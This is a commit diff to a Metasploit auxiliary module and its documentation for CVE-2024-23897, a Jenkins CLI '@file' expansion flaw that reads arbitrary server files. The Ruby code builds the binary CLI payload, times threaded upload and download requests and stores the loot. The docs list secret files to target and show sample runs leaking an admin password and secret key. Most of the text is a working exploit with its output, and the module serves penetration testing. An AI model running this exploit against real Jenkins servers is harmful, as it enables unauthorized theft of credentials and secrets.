Skip to content

Commit 064a2f3

Browse files
committed
updates to jenkins ccli ampersand file read
1 parent ab4f83f commit 064a2f3

File tree

2 files changed

+221
-23
lines changed

2 files changed

+221
-23
lines changed
Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
## Vulnerable Application
2+
3+
Exploitation by hand can be done by downloading the CLI from the target: `wget http://<host>:8080/jnlpJars/jenkins-cli.jar`
4+
5+
Vulnerable versions include:
6+
7+
* < 2.442
8+
* LTS < 2.426.3
9+
10+
### Protocol Breakdown
11+
12+
A few samples of the protocol that was observed, how to generate it, and the breakdown of fields.
13+
14+
| | **Generator** | **Heading** | **Pad (1)** | **Unknown (len(@file_name) + 2)** | **len(@file_name)** | **@** | **file_name** | **Unknown** | **len(encoding)** | **UTF-8** | **Unknown** | **len(locality)** | **en_US** | **footer** |
15+
|-------------------------------------------|----------------------------------------------------------------------------------|------------------------------|------------------|-------------|---------------------|-------|--------------------------|--------------|-------------------|------------|--------------|-------------------|------------|------------|
16+
| **no pad multi line file (/tmp/file.22)** | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help "@/tmp/test.22" | 0000000600000468656c70000000 | | 0f0000 | 0d | 40 | 2f746d702f746573742e3232 | 000000070200 | 05 | 5554462d38 | 000000070100 | 05 | 656e5f5553 | 0000000003 |
17+
| **no pad single line file (/tmp/file.1)** | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help "@/tmp/test.1" | 0000000600000468656c70000000 | | 0e0000 | 0c | 40 | 2f746d702f746573742e31 | 000000070200 | 05 | 5554462d38 | 000000070100 | 05 | 656e5f5553 | 0000000003 |
18+
| **pad multi line file (/tmp/file.22)** | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/tmp/test.22" | 0000000600000468656c70000000 | 0300000131000000 | 0f0000 | 0d | 40 | 2f746d702f746573742e3232 | 000000070200 | 05 | 5554462d38 | 000000070100 | 05 | 656e5f5553 | 0000000003 |
19+
| **pad single line file (/tmp/file.1)** | java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/tmp/test.1" | 0000000600000468656c70000000 | 0300000131000000 | 0e0000 | 0c | 40 | 2f746d702f746573742e31 | 000000070200 | 05 | 5554462d38 | 000000070100 | 05 | 656e5f5553 | 0000000003 |
20+
21+
### Docker Setup
22+
23+
Version 2.440: `docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk17`
24+
25+
LTS Version 2.426.2: `docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.426.2-lts`
26+
27+
## Verification Steps
28+
29+
1. Install the application
30+
1. Start msfconsole
31+
1. Do: `use auxiliary/gather/jenkins_ccli_ampersand_arbitrary_file_read`
32+
1. Do: `set rhost [ip]`
33+
1. Do: `run`
34+
1. You should get the first two lines of the `FILE_PATH`
35+
36+
## Options
37+
38+
### FILE_PATH
39+
40+
File path to read from the server. Defaults to `/etc/passwd`.
41+
42+
Other files which may be of value:
43+
* `/var/jenkins_home/secret.key`
44+
* `/var/jenkins_home/secrets/master.key`
45+
* `/var/jenkins_home/secrets/initialAdminPassword`
46+
* `/etc/passwd`
47+
* `/etc/shadow`
48+
* Project secrets and credentials
49+
* Source code, build artifacts
50+
51+
### DELAY
52+
53+
Delay between first and second request to ensure first request gets there on time, but the second request is very quickly behind it.
54+
Defaults to `0.5`
55+
56+
Testing against the docker image showed values between `.01` and `1.9` were successful.
57+
58+
### ENCODING
59+
60+
Encoding to use for reading the file. This may mangle binary files. Defaults to `UTF-8`
61+
62+
### LOCALITY
63+
64+
Locality to use for reading the file. This may mangle binary files. Defaults to `en_US`
65+
66+
## Scenarios
67+
68+
### jenkins 2.440-jdk17 on Docker
69+
70+
```
71+
msf6 > use auxiliary/gather/auxiliary/gather/jenkins_ccli_ampersand_arbitrary_file_read
72+
msf6 auxiliary(gather/auxiliary/gather/jenkins_ccli_ampersand_arbitrary_file_read) > set rhost 127.0.0.1
73+
rhost => 127.0.0.1
74+
msf6 auxiliary(gather/auxiliary/gather/jenkins_ccli_ampersand_arbitrary_file_read) > set file_path /var/jenkins_home/secrets/initialAdminPassword
75+
file_path => /var/jenkins_home/secrets/initialAdminPassword
76+
msf6 auxiliary(gather/auxiliary/gather/jenkins_ccli_ampersand_arbitrary_file_read) > run
77+
[*] Running module against 127.0.0.1
78+
79+
[*] Sending requests with UUID: ed148f4d-709a-4d16-a452-4509f3a37ed6
80+
[*] Re-attempting with padding for single line output file
81+
[+] /var/jenkins_home/secrets/initialAdminPassword file contents retrieved (first line or 2):
82+
f5d5f6e98e1f466aad22c0f81ca48fb0
83+
[+] Results saved to: /root/.msf4/loot/20240130204021_default_127.0.0.1_jenkins.file_717110.txt
84+
[*] Auxiliary module execution completed
85+
```
86+
87+
### jenkins 2.426.2-lts on Docker
88+
89+
```
90+
msf6 > use auxiliary/gather/auxiliary/gather/jenkins_ccli_ampersand_arbitrary_file_read
91+
msf6 auxiliary(gather/auxiliary/gather/jenkins_ccli_ampersand_arbitrary_file_read) > set rhost 127.0.0.1
92+
rhost => 127.0.0.1
93+
msf6 auxiliary(gather/auxiliary/gather/jenkins_ccli_ampersand_arbitrary_file_read) > set file_path /var/jenkins_home/secret.key
94+
file_path => /var/jenkins_home/secret.key
95+
msf6 auxiliary(gather/auxiliary/gather/jenkins_ccli_ampersand_arbitrary_file_read) > run
96+
[*] Running module against 127.0.0.1
97+
98+
[*] Sending requests with UUID: 0d69c3f1-7695-4db1-a0c6-08108f33e339
99+
[*] Re-attempting with padding for single line output file
100+
[+] /var/jenkins_home/secret.key file contents retrieved (first line or 2):
101+
6ce26592ad3683cc8d056bea07ffa2696f1b14f0db64dbd122c50ab930e279ad
102+
[+] Results saved to: /root/.msf4/loot/20240130204241_default_127.0.0.1_jenkins.file_317409.txt
103+
[*] Auxiliary module execution completed
104+
```

modules/auxiliary/gather/jenkins_cli_connect_arbitrary_file_read.rb renamed to modules/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read.rb

Lines changed: 117 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -11,9 +11,39 @@ def initialize(info = {})
1111
super(
1212
update_info(
1313
info,
14-
'Name' => 'Jenkins cliConnect Arbitrary File Read',
14+
'Name' => 'Jenkins cli Ampersand Replacement Arbitrary File Read',
1515
'Description' => %q{
16-
docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk17
16+
This module utilizes the Jenkins cli protocol to run the `help` command.
17+
The cli is accessible with read-only permissions by default, which are
18+
all thats required.
19+
20+
Jenkins cli utilizes `args4j's` `parseArgument`, which calls `expandAtFiles` to
21+
replace any `@<filename>` with the contents of a file. We are then able to retrieve
22+
the error message to read up to the first two lines of a file.
23+
24+
Exploitation by hand can be done with the cli, see markdown documents for additional
25+
instructions.
26+
27+
There are a few exploitation oddities:
28+
1. The injection point for the `help` command requires 2 input arguments.
29+
When the `expandAtFiles` is called, each line of the `FILE_PATH` becomes an input argument.
30+
If a file only contains one line, it will throw an error: `ERROR: You must authenticate to access this Jenkins.`
31+
However, we can pad out the content by supplying a first argument.
32+
2. There is a strange timing requirement where the `download` (or first) request must get
33+
to the server first, but the `upload` (or second) request must be very close behind it.
34+
From testing against the docker image, it was found values between `.01` and `1.9` were
35+
viable. Due to the round trip time of the first request and response happening before
36+
request 2 would be received, it is necessary to use threading to ensure the requests
37+
happen within rapid succession.
38+
39+
Files of value:
40+
* /var/jenkins_home/secret.key
41+
* /var/jenkins_home/secrets/master.key
42+
* /var/jenkins_home/secrets/initialAdminPassword
43+
* /etc/passwd
44+
* /etc/shadow
45+
* Project secrets and credentials
46+
* Source code, build artifacts
1747
},
1848
'License' => MSF_LICENSE,
1949
'Author' => [
@@ -39,10 +69,11 @@ def initialize(info = {})
3969
'Notes' => {
4070
'Stability' => [ CRASH_SAFE ],
4171
'Reliability' => [ ],
42-
'SideEffects' => [ IOC_IN_LOGS ]
72+
'SideEffects' => [ ]
4373
},
4474
'DefaultOptions' => {
45-
'RPORT' => 8080
75+
'RPORT' => 8080,
76+
'HttpClientTimeout' => 3 # very quick response, so set this low
4677
}
4778
)
4879
)
@@ -54,12 +85,14 @@ def initialize(info = {})
5485
)
5586
register_advanced_options(
5687
[
57-
OptFloat.new('DELAY', [true, 'Delay between first and second request', 0.01]),
88+
OptFloat.new('DELAY', [true, 'Delay between first and second request', 0.5]),
89+
OptString.new('ENCODING', [true, 'Encoding to use for reading the file', 'UTF-8']),
90+
OptString.new('LOCALITY', [true, 'Locality to use for reading the file', 'en_US'])
5891
]
5992
)
6093
end
6194

62-
# Returns the Jenkins version. taken from jenkins_cred_recovery.rb
95+
# Returns the Jenkins version. taken from jenkins_cred_recovery.rb, upgraded to work with newer versions
6396
#
6497
# @return [String] Jenkins version.
6598
# @return [NilClass] No Jenkins version found.
@@ -71,29 +104,65 @@ def get_jenkins_version
71104
fail_with(Failure::Unknown, 'Connection timed out while finding the Jenkins version')
72105
end
73106

107+
# shortcut for new versions such as 2.426.2 and 2.440
108+
return res.headers['X-Jenkins'] if res.headers['X-Jenkins']
109+
74110
html = res.get_html_document
75111
version_attribute = html.at('body').attributes['data-version']
76112
version = version_attribute ? version_attribute.value : ''
77113
version.scan(/jenkins-([\d.]+)/).flatten.first
78114
end
79115

80-
# Returns a check code indicating the vulnerable status. taken from jenkins_cred_recovery.rb
81-
#
82-
# @return [Array] Check code
83116
def check
84117
version = get_jenkins_version
85-
vprint_status("Found version: #{version}")
86118

87-
# Default version is vulnerable, but can be mitigated by refusing anonymous permission on
88-
# decryption API. So a version wouldn't be adequate to check.
89-
if version
90-
return Exploit::CheckCode::Detected
119+
return Exploit::CheckCode::Safe('Unable to determine Jenkins version number') if version.nil? || version.blank?
120+
121+
version = Rex::Version.new(version)
122+
123+
if version <= Rex::Version.new('2.426.2') || # LTS check
124+
(version >= Rex::Version.new('2.427') && version <= Rex::Version.new('2.441')) # non-lts
125+
return Exploit::CheckCode::Appears("Found exploitable version: #{version}")
91126
end
92127

93-
Exploit::CheckCode::Safe
128+
Exploit::CheckCode::Safe("Found non-exploitable version: #{version}")
129+
end
130+
131+
def request_header
132+
"\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00"
133+
end
134+
135+
def request_footer
136+
data = []
137+
data << "\x00\x00\x00\x07\x02\x00"
138+
data << [datastore['ENCODING'].length].pack('C') # length of encoding string
139+
data << datastore['ENCODING']
140+
data << "\x00\x00\x00\x07\x01\x00"
141+
data << [datastore['LOCALITY'].length].pack('C') # length of locality string
142+
data << datastore['LOCALITY']
143+
data << "\x00\x00\x00\x00\x03"
144+
data
94145
end
95146

96-
def upload_request(uuid)
147+
def parameter_one
148+
# a literal parameter of 1
149+
"\x03\x00\x00\x01\x31\x00\x00\x00"
150+
end
151+
152+
def data_generator(pad = false)
153+
data = []
154+
data << request_header
155+
data << parameter_one if pad == true
156+
data << [datastore['FILE_PATH'].length + 3].pack('C').to_s
157+
data << "\x00\x00"
158+
data << [datastore['FILE_PATH'].length + 1].pack('C').to_s
159+
data << "\x40"
160+
data << datastore['FILE_PATH']
161+
data << request_footer
162+
data.join('')
163+
end
164+
165+
def upload_request(uuid, multi_line_file = true)
97166
# send upload request asking for file
98167

99168
# In testing against Docker image on localhost, .01 seems to be the magic to get the download request to hit very slightly ahead of the upload request
@@ -111,16 +180,15 @@ def upload_request(uuid)
111180
'vars_get' => {
112181
'remoting' => 'false'
113182
},
114-
# https://github.com/h4x0r-dz/CVE-2024-23897/blob/main/CVE-2024-23897.py#L45C13-L45C187
115-
'data' => "\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@#{datastore['FILE_PATH']}\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03"
183+
'data' => data_generator(multi_line_file)
116184
)
117185

118186
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
119187
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid server reply to upload request (response code: #{res.code})") unless res.code == 200
120188
# we don't get a response here, so we just need the request to go through and 200 us
121189
end
122190

123-
def process_result
191+
def process_result(use_pad)
124192
# the output comes back as follows:
125193

126194
# ERROR: Too many arguments: <line 2>
@@ -131,7 +199,8 @@ def process_result
131199

132200
# The main thing here is we get the first 2 lines of output from the file.
133201
# The 2nd line from the file is returned on line 1 of the output, and line
134-
# 1 from the file is returned on the last line of output.
202+
# 1 from the file is returned on the last line of output. If padding was used
203+
# then <line 1> will just be a literal 1
135204

136205
file_contents = []
137206
@content_body.split("\n").each do |html_response_line|
@@ -146,7 +215,12 @@ def process_result
146215
end
147216
return if file_contents.empty?
148217

149-
print_good("#{datastore['FILE_PATH']} file contents:\n#{file_contents.join("\n")}")
218+
# if we padded out, then our first line is 1, so drop that
219+
file_contents = file_contents.drop(1) if use_pad == true
220+
221+
print_good("#{datastore['FILE_PATH']} file contents retrieved (first line or 2):\n#{file_contents.join("\n")}")
222+
stored_path = store_loot('jenkins.file', 'text/plain', rhost, file_contents.join("\n"), datastore['FILE_PATH'])
223+
print_good("Results saved to: #{stored_path}")
150224
end
151225

152226
def download_request(uuid)
@@ -183,9 +257,10 @@ def run
183257
# the server resulted in a 500 error. So we need to thread these to
184258
# execute them fast enough that the server gets both in rapid succession
185259

260+
use_pad = false
186261
threads = []
187262
threads << framework.threads.spawn('CVE-2024-23897', false) do
188-
upload_request(uuid)
263+
upload_request(uuid, use_pad) # try single line file first since we get an error if we have more content to get
189264
end
190265
threads << framework.threads.spawn('CVE-2024-23897', false) do
191266
download_request(uuid)
@@ -197,8 +272,27 @@ def run
197272
nil
198273
end
199274

275+
# we got an error that means we need to pad out our value, so rerun with pad
276+
if @content_body && @content_body.include?('ERROR: You must authenticate to access this Jenkins.')
277+
print_status('Re-attempting with padding for single line output file')
278+
use_pad = true
279+
threads = []
280+
threads << framework.threads.spawn('CVE-2024-23897', false) do
281+
upload_request(uuid, use_pad)
282+
end
283+
threads << framework.threads.spawn('CVE-2024-23897', false) do
284+
download_request(uuid)
285+
end
286+
287+
threads.map do |t|
288+
t.join
289+
rescue StandardError
290+
nil
291+
end
292+
end
293+
200294
if @content_body
201-
process_result
295+
process_result(use_pad)
202296
else
203297
print_bad('Exploit failed, no exploit data was successfully returned')
204298
end

0 commit comments

Comments
 (0)